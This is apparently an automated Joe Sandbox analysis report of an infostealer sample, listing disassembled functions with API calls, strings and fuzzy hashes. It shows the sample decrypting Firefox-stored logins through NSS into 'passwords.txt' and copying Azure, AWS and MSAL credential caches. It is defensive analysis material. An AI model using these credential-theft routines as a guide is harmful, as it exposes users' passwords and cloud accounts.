Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4641fcbad239f9adf3ef1b5929806e53997acd73586f361214ea2ea88536eb9
Instruction ID: 889c8435bc84d3797111845c60fc08b43ff7d63534aa7c65ab8e73730fb34d51
Opcode Fuzzy Hash: d4641fcbad239f9adf3ef1b5929806e53997acd73586f361214ea2ea88536eb9
Instruction Fuzzy Hash: F4217F339B94F700D3614FB19C1867237E3DBD620AFAF81B5C68487542D23ED0939215

Function 00401000 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75cf99f039a1e854ba8d590396a2eec3821c6c0c10bc203e0cfc231443454280
Instruction ID: 99e2ef522daf836b1bce5c768014d3f4db73f188b3255d3357107ea11911004c
Opcode Fuzzy Hash: 75cf99f039a1e854ba8d590396a2eec3821c6c0c10bc203e0cfc231443454280
Instruction Fuzzy Hash: 97F0FEB1C007199FCB54DFADD5415AEFBF4FB08220B10866ED46AE3640E631AA408B51

Function 6C8455F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C81E1A5), ref: 6C845606
LoadLibraryW.KERNEL32(gdi32,?,6C81E1A5), ref: 6C84560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C845633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C84563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C84566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C84567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C845696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C8456B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C8456CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C8456E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C8456FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C845716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C84572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C845748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C845761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C84577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C845793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C8457A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C8457BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C8457D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C8457EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C8457FF

Strings

CreateWindowExW, xrefs: 6C8456C5
SetWindowPos, xrefs: 6C8456F7
StretchDIBits, xrefs: 6C8457CC
LoadCursorW, xrefs: 6C845774
ReleaseDC, xrefs: 6C845742
gdi32, xrefs: 6C84560A
CreateSolidBrush, xrefs: 6C8457E4
user32, xrefs: 6C845601
RegisterClassW, xrefs: 6C8456AC
FillRect, xrefs: 6C845729
SetWindowLongPtrW, xrefs: 6C8457B7
EnableNonClientDpiScaling, xrefs: 6C845666
GetWindowDC, xrefs: 6C845710
LoadIconW, xrefs: 6C84575B
AreDpiAwarenessContextsEqual, xrefs: 6C845637
ShowWindow, xrefs: 6C8456DE
MonitorFromWindow, xrefs: 6C84578D
DeleteObject, xrefs: 6C8457F9
GetSystemMetricsForDpi, xrefs: 6C845677
GetDpiForWindow, xrefs: 6C845690
GetThreadDpiAwarenessContext, xrefs: 6C84562D
GetMonitorInfoW, xrefs: 6C8457A2

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: cbae43bfd02a95177af1fb6aa793d76f4f1fc928f99c36fc5bce8694b0675369
Instruction ID: d7f2e50c0d6b7e5a27a52bbf61d4c0d9bead202187da900e7a728cefcafd108a
Opcode Fuzzy Hash: cbae43bfd02a95177af1fb6aa793d76f4f1fc928f99c36fc5bce8694b0675369
Instruction Fuzzy Hash: 46510F746117165B9B315F378E58A3B3AB9AB1624D710AC36B921E2A42EF74DC00DFA0

Function 6C82CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C7F582D), ref: 6C82CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C7F582D), ref: 6C82CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C85FE98,?,?,?,?,?,6C7F582D), ref: 6C82CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C7F582D), ref: 6C82CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C7F582D), ref: 6C82CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C7F582D), ref: 6C82CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7F582D), ref: 6C82CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C82CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C82CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C82CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C82CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C82CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C82CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C82CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C82CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C82CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C82CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C82CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C82CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C82CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C82CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C82CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C82CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C82CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C82CE8A

Strings

nostacksampling, xrefs: 6C82CD7C
preferencereads, xrefs: 6C82CD92
stackwalk, xrefs: 6C82CCF8
audiocallbacktracing, xrefs: 6C82CDD4
nativeallocations, xrefs: 6C82CDA8
screenshots, xrefs: 6C82CCD4
samplingallthreads, xrefs: 6C82CE2C
processcpu, xrefs: 6C82CE6E
markersallthreads, xrefs: 6C82CE42
seqstyle, xrefs: 6C82CCE6
noiostacks, xrefs: 6C82CCBE
fileioall, xrefs: 6C82CCA8
leaf, xrefs: 6C82CC66
unregisteredthreads, xrefs: 6C82CE58
ipcmessages, xrefs: 6C82CDBE
power, xrefs: 6C82CE84
cpuallthreads, xrefs: 6C82CE16
Unrecognized feature "%s"., xrefs: 6C82CEA0
fileio, xrefs: 6C82CC92
jsallocations, xrefs: 6C82CD0E
mainthreadio, xrefs: 6C82CC7C
java, xrefs: 6C82CC37
notimerresolutionchange, xrefs: 6C82CE00
default, xrefs: 6C82CC21

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: f06efb32536f439c54700f2f00b581747dbfab30b81104bfb90f79f0513ec06f
Instruction ID: d003c55c60b45ce2f2367d3729c485524ac6b466fe0bdbd3c7cb94dd0b0679bf
Opcode Fuzzy Hash: f06efb32536f439c54700f2f00b581747dbfab30b81104bfb90f79f0513ec06f
Instruction Fuzzy Hash: 345184D194522D11FB7030196F18BBA1409EB5624BF500C3AED09A2F83FB4DD6A989E7

Function 00408AA0 Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 250stringmemoryfileCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000,00000000,00000000,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408AB5

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,024C0078,00000000,?,004201E0,00000000,?,?), ref: 00408B6A
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408B84
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408B8D
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408B9C
??_U@YAPAXI@Z.MSVCRT ref: 00408BA6
ReadFile.KERNEL32(00000000,00000000,00000000,00409C18,00000000,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408BB9
GetProcessHeap.KERNEL32(00000000,000F423F,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408BC6
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408BCD
StrStrA.SHLWAPI(00000000,024C0198,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408BDD
StrStrA.SHLWAPI(-00000010,024C0108,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408BFB
lstrcatA.KERNEL32(00000000,024BDEE8,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408C0E
lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408C1E
lstrcatA.KERNEL32(00000000,004234BC,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408C2A
lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408C3A
lstrcatA.KERNEL32(00000000,004234B8,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408C46
lstrcatA.KERNEL32(00000000,024BDFC8,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408C54
lstrcatA.KERNEL32(00000000,-00000010,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408C5C
lstrcatA.KERNEL32(00000000,00423408,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408C68
StrStrA.SHLWAPI(-000000FE,024C0530,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408C79
StrStrA.SHLWAPI(00000014,024C0610,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408C89
lstrcatA.KERNEL32(00000000,024BDFD8,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408C9D

Part of subcall function 00408980: memset.MSVCRT ref: 004089A9
Part of subcall function 00408980: lstrlenA.KERNEL32(00408CA9,00000001,?,00001FA0,00000000,00000000,?,00408CA9), ref: 004089C6
Part of subcall function 00408980: CryptStringToBinaryA.CRYPT32(00408CA9,00000000,?,00408CA9), ref: 004089CE
Part of subcall function 00408980: PK11_GetInternalKeySlot.NSS3(00000000,?,00408CA9), ref: 004089DD
Part of subcall function 00408980: PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00408CA9), ref: 004089F3
Part of subcall function 00408980: PK11SDR_Decrypt.NSS3(00000000,?,00000000), ref: 00408A1E
Part of subcall function 00408980: memcpy.MSVCRT ref: 00408A3A
Part of subcall function 00408980: PK11_FreeSlot.NSS3 ref: 00408A51

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408CAE
lstrcatA.KERNEL32(00000000,00423408,?,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408CBA
StrStrA.SHLWAPI(-000000FE,024C0610,?,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408CCB
StrStrA.SHLWAPI(00000014,024BDF78,?,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408CDB
lstrcatA.KERNEL32(00000000,024BFF70,?,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408CEF

Part of subcall function 00408980: lstrcatA.KERNEL32(004201E9,004201E9), ref: 00408A6D
Part of subcall function 00408980: PK11_FreeSlot.NSS3(00000000), ref: 00408A74

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408D00
lstrcatA.KERNEL32(00000000,00423408,?,?,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408D0C
lstrcatA.KERNEL32(00000000,00423408,?,?,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408D18
StrStrA.SHLWAPI(-000000FE,024C0198,?,?,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408D29
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408D3D
CloseHandle.KERNEL32(00000000), ref: 00408D7A
NSS_Shutdown.NSS3(?,?,?,?,?,?,?,?,00409C18,0040B951), ref: 00408D80

Strings

passwords.txt, xrefs: 00408D4A

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$K11_lstrcpy$Slotlstrlen$FreeHeapPointer$AllocAuthenticateBinaryCloseCreateCryptDecryptHandleInitInternalProcessReadShutdownSizeStringmemcpymemset
String ID: passwords.txt
API String ID: 3856808212-347816968
Opcode ID: 947be8878a86804751449d90c041df7123ed25f0a0b1e3b5018661b7039ec7dc
Instruction ID: 73ff53cf7cdb166d00475d7612bc503315e650be8fb536a240ee77bfa2eb02a0
Opcode Fuzzy Hash: 947be8878a86804751449d90c041df7123ed25f0a0b1e3b5018661b7039ec7dc
Instruction Fuzzy Hash: 2E818272500504ABD710FBA0ED4AFEE377DAF44305F18A139F602625E2DB7866058BBA

Function 6C7F4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7F4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C7F44B2,6C86E21C,6C86F7F8), ref: 6C7F473E
Part of subcall function 6C7F4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C7F474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C7F44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C7F44D2
InitOnceExecuteOnce.KERNEL32(6C86F80C,6C7EF240,?,?), ref: 6C7F451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C7F455C
LoadLibraryW.KERNEL32(?), ref: 6C7F4592
InitializeCriticalSection.KERNEL32(6C86F770), ref: 6C7F45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C7F45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C7F45BB
InitOnceExecuteOnce.KERNEL32(6C86F818,6C7EF240,?,?), ref: 6C7F4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C7F4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C7F4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C7F466D
VerSetConditionMask.NTDLL ref: 6C7F469F
VerSetConditionMask.NTDLL ref: 6C7F46AB
VerSetConditionMask.NTDLL ref: 6C7F46B2
VerSetConditionMask.NTDLL ref: 6C7F46B9
VerSetConditionMask.NTDLL ref: 6C7F46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C7F46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C7F46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C7F46FD

Strings

WRusr.dll, xrefs: 6C7F44B5
l, xrefs: 6C7F4578
user32.dll, xrefs: 6C7F4557, 6C7F463F
kernel32.dll, xrefs: 6C7F44CD
NativeNtBlockSet_Write, xrefs: 6C7F46F7

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 42f487a4e10860bff5a0b91374e5eae58fee44807b6d3a698f5a6371c67c0073
Instruction ID: 6ed23f83505ecebaab5342f6e68c2140a9f3ae11aa9f514d1c24d4348b288c58
Opcode Fuzzy Hash: 42f487a4e10860bff5a0b91374e5eae58fee44807b6d3a698f5a6371c67c0073
Instruction Fuzzy Hash: 3F61F3B0604244AFEB209F62CE49BB977B8EF5630CF049578E5149BB41D3B0D946DFA1

Function 00416350 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 121stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00416367

Part of subcall function 00410D50: SHGetFolderPathA.SHELL32(00000000,004201E9,00000000,00000000,?,00000000,?), ref: 00410D81

lstrcatA.KERNEL32(?,00000000), ref: 00416389
lstrcatA.KERNEL32(?,\.azure\), ref: 004163A3

Part of subcall function 00415EA0: wsprintfA.USER32 ref: 00415EBC
Part of subcall function 00415EA0: FindFirstFileA.KERNEL32(?,?), ref: 00415ED3
Part of subcall function 00415EA0: StrCmpCA.SHLWAPI(?,004201DC), ref: 00415EFC
Part of subcall function 00415EA0: StrCmpCA.SHLWAPI(?,004201D8), ref: 00415F16
Part of subcall function 00415EA0: wsprintfA.USER32 ref: 00415F3B
Part of subcall function 00415EA0: StrCmpCA.SHLWAPI(?,004201E9), ref: 00415F4A
Part of subcall function 00415EA0: wsprintfA.USER32 ref: 00415F67
Part of subcall function 00415EA0: PathMatchSpecA.SHLWAPI(?,?), ref: 00415F97
Part of subcall function 00415EA0: lstrcatA.KERNEL32(?,024BDE28,?,000003E8), ref: 00415FC3
Part of subcall function 00415EA0: lstrcatA.KERNEL32(?,004201E0), ref: 00415FD5
Part of subcall function 00415EA0: lstrcatA.KERNEL32(?,?), ref: 00415FE3
Part of subcall function 00415EA0: lstrcatA.KERNEL32(?,004201E0), ref: 00415FF5
Part of subcall function 00415EA0: lstrcatA.KERNEL32(?,?), ref: 00416009

memset.MSVCRT ref: 004163E0
lstrcatA.KERNEL32(?,00000000), ref: 00416408
lstrcatA.KERNEL32(?,\.aws\), ref: 00416422

Part of subcall function 00415EA0: wsprintfA.USER32 ref: 00415F86
Part of subcall function 00415EA0: CopyFileA.KERNEL32(?,00000000,00000001), ref: 004160AA
Part of subcall function 00415EA0: DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,004201E9), ref: 00416119

memset.MSVCRT ref: 0041645F
lstrcatA.KERNEL32(?,00000000), ref: 00416487
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 004164A1

Part of subcall function 00415EA0: FindNextFileA.KERNEL32(?,?), ref: 00416160
Part of subcall function 00415EA0: FindClose.KERNEL32(?), ref: 00416172

memset.MSVCRT ref: 004164DE

Strings

\.azure\, xrefs: 00416397
\.aws\, xrefs: 00416416
*.*, xrefs: 004163AE, 0041642D
msal.cache, xrefs: 004164AC
Azure\.aws, xrefs: 00416428
Azure\.IdentityService, xrefs: 004164A7
\.IdentityService\, xrefs: 00416495
2oA, xrefs: 004163C2, 00416441, 004164C0, 00416501, 004163C7, 00416446, 004164C5
Azure\.azure, xrefs: 004163A9

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$2oA$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2861501092-331361937
Opcode ID: 212472f4a20fed48e4060463ec6188779a0657a6d9ee6a0de1d1124fe6cbd803
Instruction ID: 28d8bbb7bcea92de6612cba30d4fd1a0531622765afdd2ab7e90af46132b7da5
Opcode Fuzzy Hash: 212472f4a20fed48e4060463ec6188779a0657a6d9ee6a0de1d1124fe6cbd803
Instruction Fuzzy Hash: 04415172E4021866CB14FBB1DC47FED77786B48704F84486EB615620C1EBBCA78C8B59

Function 00419C90 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 74stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0041BE14,?,?,?,0041BE14,?), ref: 00419C99
StrCmpCA.SHLWAPI(?,0042457C,?,0041BE14,?), ref: 00419CCB
StrCmpCA.SHLWAPI(?,.zip,?,0041BE14,?), ref: 00419CDD
StrCmpCA.SHLWAPI(?,.zoo,?,0041BE14,?), ref: 00419CE9
StrCmpCA.SHLWAPI(?,.arc,?,0041BE14,?), ref: 00419CF5
StrCmpCA.SHLWAPI(?,.lzh,?,0041BE14,?), ref: 00419D01
StrCmpCA.SHLWAPI(?,.arj,?,0041BE14,?), ref: 00419D0D
StrCmpCA.SHLWAPI(?,.gz,?,0041BE14,?), ref: 00419D19
StrCmpCA.SHLWAPI(?,.tgz,?,0041BE14,?), ref: 00419D25

Strings

.zoo, xrefs: 00419CE3
.tgz, xrefs: 00419D1F
.arj, xrefs: 00419D07
